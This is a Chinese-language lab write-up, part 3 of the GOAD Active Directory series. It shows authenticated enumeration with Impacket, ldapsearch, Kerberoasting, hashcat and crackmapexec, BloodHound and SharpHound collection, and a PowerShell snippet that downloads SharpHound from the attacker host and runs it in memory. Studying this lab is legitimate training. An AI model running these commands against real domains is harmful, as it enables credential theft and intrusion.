banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

game of active directory(GOAD) part 3 - enumeration with user

第三部分继续枚举一些用户,利用之前获取到的凭证看是否能继续收集到一些信息。

vagrant up启动休眠的机器

image

image

当你在活动目录上获得一个账户时,首先要做的总是获取完整的用户列表。

一旦获取到用户列表,你可以对所有用户进行密码喷洒(通常你会发现其他账户使用弱密码,如用户名即密码、季节年份组合、社团名称年份组合,甚至可能是 123456)。

在 part2 中,得到了 brandon.stark帐号密码,

python3 GetADUsers.py -all north.sevenkingdoms.local/brandon.stark:iseedeadpeople
Impacket v0.12.0.dev1+20240502.235035.cb8467c3 - Copyright 2023 Fortra

[*] Querying north.sevenkingdoms.local for information about domain.
Name                  Email                           PasswordLastSet      LastLogon           
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2024-01-17 20:24:06.650023  2024-01-18 00:15:11.751714 
Guest                                                 <never>              <never>             
vagrant                                               2021-05-12 19:38:55.922520  2024-01-18 00:33:15.469101 
krbtgt                                                2024-01-17 20:59:48.450235  <never>             
                                                      2024-07-11 21:23:44.436491  <never>             
arya.stark                                            2024-01-18 00:06:14.609612  2024-05-05 16:39:43.450938 
eddard.stark                                          2024-01-18 00:06:24.165912  2024-07-21 14:07:26.720083 
catelyn.stark                                         2024-01-18 00:06:31.753050  <never>             
robb.stark                                            2024-01-18 00:06:39.977381  2024-07-21 14:08:30.539586 
sansa.stark                                           2024-01-18 00:06:48.632812  <never>             
brandon.stark                                         2024-01-18 00:06:56.360121  2024-07-11 22:59:04.257694 
rickon.stark                                          2024-01-18 00:07:03.163738  <never>             
hodor                                                 2024-01-18 00:07:08.330623  <never>             
jon.snow                                              2024-01-18 00:07:14.009106  <never>             
samwell.tarly                                         2024-01-18 00:07:20.334394  2024-07-11 23:17:33.390596 
jeor.mormont                                          2024-01-18 00:07:26.125439  <never>             
sql_svc                                               2024-01-18 00:07:30.994621  2024-05-05 15:22:57.352040

LDAP 查询#

LDAP 是一种目录服务协议,它提供了一种连接、搜索和修改目录的机制。

在 north.sevenkingdoms.local 上使用 ldap 查询

#安装ldap
sudo apt install ldap-utils

#ldap查询,查找类别为person且类为user的所有对象
ldapsearch -H ldap://192.168.56.11 -D "[email protected]" -w iseedeadpeople -b 'DC=north,DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" |grep 'distinguishedName:'

image

通过 LDAP 查询也可以查询到用户信息,各域间存在信任关系,所以通过 LDAP 也可以查询其他域中的用户。

image

sevenkingdoms.local

ldapsearch -H ldap://192.168.56.10 -D "[email protected]" -w iseedeadpeople -b 'DC=sevenkingdoms,DC=local' "(&(objectCategory=person)(objectClass=user))" | grep "distinguishedName"

image

essos.local

在 essos.local 查询,报如下信息:无效的凭证,应该是两者之间没有信任关系导致的。

image

LDAP 查询参考:https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

Kerberoasting#

从 Active Directory 中获取用户的服务主体名称 (Service Principal Names, SPNs),并请求相应的 Kerberos 服务票据,这个过程被称为 Kerberoasting。

python3 GetUserSPNs.py -request -dc-ip 192.168.56.11 north.sevenkingdoms.local/brandon.stark:iseedeadpeople -outputfile kerberoasting.hashes

image

所有的 hash 保存到 kerberoasting.hashes 文件中

image

整体流程:

1、认证
脚本使用提供的凭据(用户名和密码)连接到指定的域控制器 (192.168.56.11)。

2、枚举 SPNs
脚本查询 Active Directory,枚举所有具有 SPNs 的用户。这些 SPNs 通常用于 Kerberos 身份验证的服务账户。

3、请求服务票据
根据枚举到的 SPNs,脚本请求相应的 Kerberos 服务票据 (TGS)。这些票据包含加密的服务账户密码哈希。

4、保存票据
请求到的 Kerberos 服务票据的哈希值会被保存到指定的输出文件 (kerberoasting.hashes) 中。

也可以用 cme 去获取

crackmapexec ldap 192.168.56.11 -u brandon.stark -p 'iseedeadpeople' -d north.sevenkingdoms.local --kerberoasting KERBEROASTING

image

尝试使用 hashcat 破解密码

image

得到个帐号密码:jon.snow

共享目录枚举#

crackmapexec smb 192.168.56.10-23 -u jon.snow -p iknownothing -d north.sevenkingdoms.local --shares

192.168.56.22 共享目录

image

dns 枚举#

工具:https://github.com/dirkjanm/adidnsdump

安装:

pip3 install git+https://github.com/dirkjanm/adidnsdump#egg=adidnsdump

Bloodhound#

接下来使用 Bloodhound 分析域内的环境,攻击者必须在目标上运行一个collector,它将枚举有关域的大量信息。collector运行完成后,它将输出一系列 .json 文件,供导入到攻击者的 Bloodhound 界面中。

BloodHound.py 数据收集器#

用下面得 python 脚本采集数据

采集 north.sevenkingdoms.local 上得数据

python3 bloodhound.py --zip -c All -d north.sevenkingdoms.local -u brandon.stark -p iseedeadpeople -dc winterfell.north.sevenkingdoms.local -ns 192.168.56.10

image

注:需要指定 dns,如果不指定就会报如下错误,查看了 BloodHound.py 的官网,很多人都出现了这个错误

image

同样的,从其他几个域中收集数据

kingslanding.sevenkingdoms.local

python3 bloodhound.py --zip -c All -d sevenkingdoms.local -u [email protected] -p iseedeadpeople -dc kingslanding.sevenkingdoms.local -ns 192.168.56.10

image

meereen.essos.local

python3 bloodhound.py --zip -c All -d essos.local -u [email protected] -p iseedeadpeople -dc meereen.essos.local -ns 192.168.56.10

image

通过 BloodHound 收集了三个域的信息

注:不过,观察 GitHub 上的项目我们可以发现,Python 版本的数据收集工具虽然功能强大,但与 .NET 版本相比仍有不足。具体来说,它支持大部分的 BloodHound(SharpHound)功能,但并不是全部,尤其是缺少了一些基于组策略对象(GPO)的收集方法。

sharphound.exe 数据收集器#

同样的,通过 sharphound.exe windows 版本重新采集一遍

项目地址:https://github.com/BloodHoundAD/SharpHound

远程桌面连接到域内机器

sudo apt install freerdp2-x11

xfreerdp /u:jon.snow /p:iknownothing /d:north /v:192.168.56.22 /cert-ignore +clipboard /drive:tmp,/tmp

.\sharphound.exe -d north.sevenkingdoms.local -c all --zipfilename bh_north_sevenkingdoms.zip
.\sharphound.exe -d sevenkingdoms.local -c all --zipfilename bh_sevenkingdoms.zip
.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip

image

image

image

也可以用 powershell 在内存中运行 sharpblood

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.56.1/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())

启动 bloodhound#

用 kali 启动 bloodhound,导入 bloodhound-python 收集的信息,sharphound 导出的信息无法导入到 bloodhound 中,可能和版本有关系,之前打春秋云镜靶场的时候遇到同样的问题,无法导入 sharphound 收集的内容。

显示所有的域和计算机

MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p

image

显示所有的用户

MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p

image

查看域 / 组 / 用户的整体地图

MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q

image

查看用户的 acl

MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p

image

参考#

https://mayfly277.github.io/posts/GOADv2-pwning-part3/
https://github.com/BloodHoundAD/SharpHound/releases
https://github.com/dirkjanm/BloodHound.py
https://podalirius.net/en/articles/useful-ldap-queries-for-windows-active-directory-pentesting/

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。